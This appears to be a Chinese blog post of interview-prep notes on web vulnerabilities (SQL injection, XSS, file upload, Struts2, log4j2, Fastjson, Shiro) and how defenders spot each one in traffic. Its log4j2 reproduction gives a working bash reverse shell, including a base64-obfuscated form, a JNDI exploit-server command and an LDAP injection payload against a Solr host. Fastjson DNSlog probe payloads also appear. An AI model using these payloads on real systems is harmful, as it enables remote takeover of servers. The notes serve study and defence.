hw面试总结

在这里给大家推荐一个阿里云的活动,可白嫖一年2h4g服务器
活动链接:https://university.aliyun.com/mobile?clubTaskBiz=subTask…11404246…10212…&userCode=ks0bglxp
在这里插入图片描述
在这里插入图片描述

一、漏洞分析

1.SQL注入

原理:

当Web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据

危害:

  1. 泄露大量的用户信息。

  2. 获取管理员密码:攻击者也可以通过获取到的数据,得到后台管理员的密码,然后对网页页面进行恶意篡改。这样不仅对数据库信息安全造成严重威胁,对整个数据库系统安全也影响重大。

  3. 删除数据库,对企业造成重大损失。

1.1.SQL注入常见关键字

1.user()返回当前使用数据库的用户

2.current_user()返回当前用户所对应的授权用户

3.version()返回当前数据库版本信息

4.database()返回当前数据库名

5.group_concat()把数据库中的某列数据或几列数据合并为一个字符串

6.@@datadir数据库路径

7.@@version_compile_os操作系统版本

1.2.分类

1.联合查询

2.布尔盲注

length(),ascii(),mid(),substr(),ord()

3.时间盲注

if(),sleep().benchmark()

4.报错注入

5.宽字节注入

2.XSS

原理:

跨站脚本(Cross-site scripting,简称XSS),是指恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web页面的HTML代码会被执行,从而达到恶意攻击用户的目的。

危害:

1)钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼 JavaScript 以监控目标网站的表单输入,甚至发起基于 DHTML 更高级的钓鱼攻击方式。

2)网站挂马:跨站时利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。

3)身份盗用:Cookie 是用户对于特定网站的身份验证标志,XSS 可以盗取到用户的 Cookie,从而利用该 Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户 Cookie 被窃取,将会对网站引发巨大的危害。

4)盗取网站用户信息:当能够窃取到用户 Cookie 从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。

5)垃圾信息发送:比如在 SNS 社区中,利用 XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。

6)劫持用户 Web 行为:一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为,监视用户的浏览历史,发送与接收的数据等等。

7)XSS 蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施 DDoS 攻击等。

1.1分类

反射性:也叫做非持久型XSS。攻击者将恶意脚本附加到 url 的参数中,发送给受害者,服务端未经严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据。

存储型:也叫做持久型XSS。存储型XSS会被保存到数据库,在其他用户访问到这条数据时,这个代码会在访问用户的浏览器端执行。

DOM型

3.文件上传漏洞

原理:

上传文件的时候,如果服务器端后端语言未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件的情况。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而攻击者绕过上传机制上传恶意代码文件并执行从而控制服务器。

危害:

攻击者通过上传恶意文件传递给解释器去执行,然后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理、命令执行等恶意操作。从而控制整个网站,甚至是服务器。

1.1.漏洞防御措施

1、 上传的目录设置为不可执行。只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。

2、 对文件后缀的判断中使用白名单的方式。

3、 文件服务器和web服务器分离,也就是上传的文件单独存放到其他的服务器之中。

4、 不需要返回文件路径的情况下,随机改写文件名。

4.跨站请求伪造漏洞

5.服务器请求伪造

6.RCE

7.Struts2-045

漏洞原因:

基于Jakarta Multipart parser的文件上传模块在处理文件上传(multipart)的请求时候对异常信息做了捕获,并对异常信息做了OGNL表达式处理。但在在判断content-type不正确的时候会抛出异常并且带上Content-Type属性值,可通过精心构造附带OGNL表达式的URL导致远程代码执行。

8.log4j2(必问)

漏洞原理:

log4j2 中存在 JNDI 注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
下面是触发漏洞的两部分关键代码:
1.org·apache.logging.log4j.core.pattern.MessagePatternconverter 的 format()方法(表达式内容替换)
2.apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容替换)
这部分内容重点就在于代码的主要内容就是一旦发现日志中包含 ${}就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。

在 ${}中可以使用的部分关键词如下:

${java:version}getSystemProperty("java.version")
${java:runtime} getRuntime()
${java:vm) getVirtualMachine()
${java:os} getOperatingSystem()
${java:hw} getHardware( )
${java:locale} getLocale()

${env:CLASSPATH}
${env:HOME}
${env:JAVA_HOME}
${env:LANG}
${env:LC_TERMINAL}

${jndi:ldap://ip/port/exp}

最终效果就是通过jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令

JNDI介绍

Java Naming and Directory Interface,JAVA命名和目录接口(命名服务接口)应用通过该接口与具体的目录服务进行交互,允许通过名称发现和查找数据或对象,可用于动态加载配置等。
JNDI可以访问以下命名/目录服务:
。RMI(JAVA远程方法调用)
。LDAP(轻量级目录访问协议)
。CORBA(公共对象请求代理体系结构)
。DNS(域名服务)

LDAP协议

LDAP(Ligntweight Directory Access Protocol),轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。简单来说,就是搜索功能,它是分布式的,允许从远程服务器上面加载获取对象。默认服务端口389
在这里插入图片描述
在这里插入图片描述

复现过程:

首先检测站点是否存在JNDI注入漏洞

使用dnslog平台生成一个临时域名

在这里插入图片描述

在要测试的站点中使用jndi访问此域名,若能解析代表存在jndi注入漏洞

注入点是/admin/cores?action=

那么就在此处传入192.168.31.63:8983/solr/admin/cores?action=${jndi:dns://ylx7kn.dnslog.cn}

发现dnslog平台有解析记录说明该站点存在此jndi注入漏洞

在这里插入图片描述

1.构造反弹shell payload

将目标shell反弹到 192.168.31.90/6666 上

bash -i >& /dev/tcp/192.168.31.90/6666 0>&1

进行base64编码,因为可能会对特殊字符进行过滤

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjkwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar将我们的攻击机作为ldap服务端

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjkwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}” -A “192.168.31.90”

在这里插入图片描述

开启监听我们攻击机的6666端口

在这里插入图片描述

随后在存在JNDI注入漏洞的站点,将我们构造好的payload传入

http://192.168.31.63:8983/solr/admin/cores?action=${jndi:ldap://192.168.31.90:1389/Exploit}

在这里插入图片描述

返回攻击机查看发现成功拿到目标shell

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

9.FastJson

原理

fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,就会读取 @type 的内容,试图把JSON内容反序列化成这个对象,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链

java.net.InetAddress 这个类在实例化时会尝试对 example.com 进行域名解析,这时候可以通过 dnslog的方式得知漏洞是否存在,比如如下的存在

{
	"name" :{
		"@type" :"java.net.InetAddress"
		"va1":"任意字符,qydzoe.dnslog.cn"
	}
}

{
	"name" : {
		"@type" :"Ljava.net.InetAddress;"
		"val":"任意字符.qydzoe.dnslog.cn"
	}
}

{
	"name" :{
		"@type":"LLjava.net.InetAddress;"
		"va1":"任意字符.qydzoe.dnslog.cn"
	}
}

10.shiro-550

一句话总结,shiro框架提供了记住密码的功能,然后在生成cookie时使用了AES加密,AES是对称加密,采用了默认秘钥。所以攻击就能使用默认秘钥进行构造恶意cookie,从而达到反弹shell

Shiro550和Shiro721利用过程中有着显著的区别
1、Shiro550漏洞,使用已知的密钥进行攻击(秘钥是固定或者默认的),这意味着攻击者可以利用硬编码的AES密钥,来构造恶意的序列化对象。攻击者不需要拥有有效的RememberMe Cookier来执行攻击,只要有足够的密钥库即可。

2、Shiro721漏洞,加密使用的密钥是系统随机生成的,这使得攻击者难以直接猜测或使用已知的密钥进行攻击。攻击者需要利用登录后的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造RememberMe Cookie值来实现反序列化漏洞攻击。相比Shiro550,Shiro721的利用条件更高,因为它要求攻击者已经拥有一个有效的登录会话

二、流量特征

1.SQL注入流量分析

会有明显的注入语句。判断是否注入成功可以查找是否返回数据库名通过

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

因为我们是防守人员可以直接查找响应中是否返回了我们的数据库名

在这里插入图片描述

sqlmap流量特征

sqlmap会在注入点尝试大量的注入,可以明显观察到很多相似的数据流

最重要的是sqlmap会将自己的版本号在UA投中输出

在这里插入图片描述
在这里插入图片描述

2.XSS流量分析

反射型在url中能观察到明显的js语句
在这里插入图片描述

3.文件上传流量分析

上传正常文件时,流量会显示正确的文件类型

在这里插入图片描述

查看正常上传的响应包

在这里插入图片描述

而如果上传的是木马文件则不会在流量描述中显示文件类型

在这里插入图片描述

在这里插入图片描述

可以查看上传的内容显示分组字节,发现是一句话木马

在这里插入图片描述

攻击者会验证是否上传成功,这种流量则是能够查看到访问了文件上传的目录且通过追踪流会看到执行了什么命令

在这里插入图片描述

在这里插入图片描述

4.目录扫描流量分析

会有大量404,切夹杂着很多不同目录

在这里插入图片描述

5.口令爆破流量分析

会有大量相同的请求长度,且响应长度相同

在这里插入图片描述

在响应长度中会有一个不同的,这个就是爆破成功的响应

在这里插入图片描述

查看传入数据也为正确

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

6.RCE流量分析

可以看到whoami这是明显的命令

在这里插入图片描述

在响应中也找到了whoami执行的结果

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以查看到明显的木马
在这里插入图片描述

再查看响应

这种木马是输出了一个文件所以这里无法查看,那么就要看攻击者是否使用了一句话木马

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现访问此前上传的木马,并且扎起下方有一个post请求,查看post请求执行了什么

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这说明攻击者已经拿到了服务器的控制权了

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

7.log4j2流量分析

网站流量中有明显的jndi注入语句

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

且在利用时会请求恶意的java类

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

查看此流量可以观察到base64编码后的反弹shell命令

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

8.FastJson流量分析

@tyep

9.shiro流量分析

工具探测shiro流量

请求包这种cookie会有remenberMe=yes

爆破秘钥流量,会有大量探测cookie的请求包

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

没有爆破成功会有响应remenberMe=deletMe

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

成功则没有

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

命令执行流量特征

请求包中会有执行的命令,且响应包会返回对应命令的结果

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

10.Struts2流量分析

工具探测流量

会有大量相似请求,且其中会有大量%,@,且会有multipart/from-data

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

命令执行流量

Struts2-045

会更改Content-Type,且会在其中看到命令

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

命令执行结果是通过tcp流量传回

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

11.weblogic流量分析

大部分是t3协议

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/707648.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

企业服务器上云还是下云哪种比较好?-尚云Sunclouds

如今很多中小企业都面临一个艰难的选择,是要选择将服务器迁移至数据中心托管(下云)或者直接迁移到云端(上云)。中小企业是社会发展的中坚力量,他们的特点少而明显:资金少,增长快&…

Perl 语言学习进阶

一、如何深入 要深入学习Perl语言的库和框架,可以按照以下步骤进行: 了解Perl的核心模块:Perl有许多核心模块,它们提供了许多常用的功能。了解这些模块的功能和用法是深入学习Perl的第一步。一些常用的核心模块包括:S…

Postman batch post requests import 双引号问题

初次使用工具中注意事项: 1 定义json参数变量value由于没有注意双引号问题导致run 报400 错误 测试结果总是报400 bad request错误

Python数据库编程指南:连接与操作SQLite与MySQL

目录 一、引言 二、SQLite数据库连接与操作 (一)安装SQLite库 (二)建立数据库连接 (三)执行SQL语句 (四)注意事项 三、MySQL数据库连接与操作 (一)安…

量化交易实操指南:从模拟回测到实盘交易的全流程揭秘!

什么是量化交易? 量化交易是一种利用数学、统计学和计算机科学方法,通过构建模型和算法来进行交易决策的方式。它的核心思想是通过系统性的分析和处理大量的历史数据、市场信息和交易规则,以发现市场中的规律和模式,并以此为依据…

虚拟化 之三 详解 jailhouse(ARM 平台)的构建过程、配置及使用

嵌入式平台下,由于资源的限制,通常不具备通用性的 Linux 发行版,各大主流厂商都会提供自己的 Linux 发行版。这个发行版通常是基于某个 Linux 发行版构建系统来构建的,而不是全部手动构建,目前主流的 Linux 发行版构建系统是 Linux 基金会开发的 Yocto 构建系统。 基本环…

LabVIEW开发指针式压力仪表图像识别

系统利用LabVIEW编程实现对指针式压力仪表的读取,通过相机、光源、固定支架等硬件捕捉仪表图像,并通过图像识别技术解析压力值。系统分为两个阶段:第一阶段固定相机更换仪表,第二阶段移动相机识别多个固定仪表。本文介绍硬件选择、…

可再生能源的未来——Kompas.ai如何助力绿色发展

引言 在全球气候变化和能源危机的背景下,可再生能源逐渐成为能源发展的重要方向。本文将探讨可再生能源的发展趋势,并介绍Kompas.ai如何通过AI技术助力绿色发展的实现。 可再生能源的发展及其重要性 可再生能源是指通过自然资源产生的能源,…

ubuntu20.04设置共享文件夹

ubuntu20.04设置共享文件夹 一,简介二,操作步骤1,设置Windows下的共享目录2,挂载共享文件夹3,测试是否挂载成功 一,简介 在公司电脑上,使用samba设置共享文件夹,IT安全部门权限不通…

Linux内核驱动入门 编译环境搭建、编译内核

文章目录 前言搭建内核驱动编译环境下载交叉编译工具编译内核minicom工具使用找不到ttyUSB设备问题编译内核编译报错解决小坑编译选项说明 从零开始的驱动程序 前言 哎…有时候我都不知道自己是干啥的 说是运维吧,docker不会,k8s不会;说是驱…

File及典型案例

File File对象表示一个路径,可以是文件的路径,也可以是文件夹的路径 这个路径可以是存在的,也允许不存在 常见的构造方法 图来自黑马程序员网课 package com.lazyGirl.filedemo;import java.io.File;public class Demo1 {public static vo…

小程序开发,网站搭建,手机app开发,管理系统开发

小程序开发,网站搭建,手机app开发,管理系统开发

grpc代理服务的实现(一)

最近公司需要无感知基于服务代号来实现通信, 并监控和管理通信连接,目前公司使用的是如下的逻辑(当然逻辑简化了,但是思想不变) 目录 简单的原理图代理服务的实现创建 tls tcp 服务, 用于grpc client 和 grpc service 通信保存 与 代理服务建立的 grpc …

Java多线程编程与并发处理

引言 在现代编程中,多线程和并发处理是提高程序运行效率和资源利用率的重要方法。Java提供了丰富的多线程编程支持,包括线程的创建与生命周期管理、线程同步与锁机制、并发库和高级并发工具等。本文将详细介绍这些内容,并通过表格进行总结和…

建议收藏!AIGC绘画基础,Midjourney风格码style reference code策展汇总合集

自打Midjourney推出风格码style reference code以来,各路大神都在积极“挖矿”,不断地使用sref random后缀参数来寻找不同风格。 得益于Midjourney爱好者们“分布式挖矿”的力量,很多Midjourney风格被测试出来。我已经把前1000个风格码看了一…

R语言绘制三变量分区地图

参考资料: https://mp.weixin.qq.com/s/5c7gpO2mJ2BqJevePJz3CQ tricolore包教程:https://github.com/jschoeley/tricolore 学习笔记:Ternary choropleth maps 1、测试实例 代码: library(ggplot2) library(rnaturalearthdata) …

使用ant-design/cssinjs向plasmo浏览器插件的内容脚本content中注入antd的ui组件样式

之前写过一篇文章用来向content内容脚本注入antd的ui:https://xiaoshen.blog.csdn.net/article/details/136418199,但是方法就是比较繁琐,需要将antd的样式拷贝出来,然后贴到一个单独的css样式文件中,然后引入到内容脚…

Apple - Metal Programming Guide

本文翻译整理自:Metal Programming Guide(更新日期:2016-12-12 https://developer.apple.com/library/archive/documentation/Miscellaneous/Conceptual/MetalProgrammingGuide/Introduction/Introduction.html#//apple_ref/doc/uid/TP400142…

next.js开发中页面回退时报Unhandled Runtime ErrorTypeError destroy is not a function

Next.js开发中页面回退时报Unhandled Runtime Error:TypeError: destroy is not a function 问题描述 在Next.js开发中,从A页面跳转到B页面,再使用浏览器回退到A页面时报上述错误: 错误原因 是因为在B页面里,在使用useEffect时…

从“数据孤岛”、Data Fabric(数据编织)谈逻辑数据平台

提到逻辑数据平台,其核心在于“逻辑”,与之相对的便是“物理”。在过去,为了更好地利用和管理数据,我们通常会选择搭建数据仓库和数据湖,将所有数据物理集中起来。但随着数据量、用数需求和用数人员的持续激增&#xf…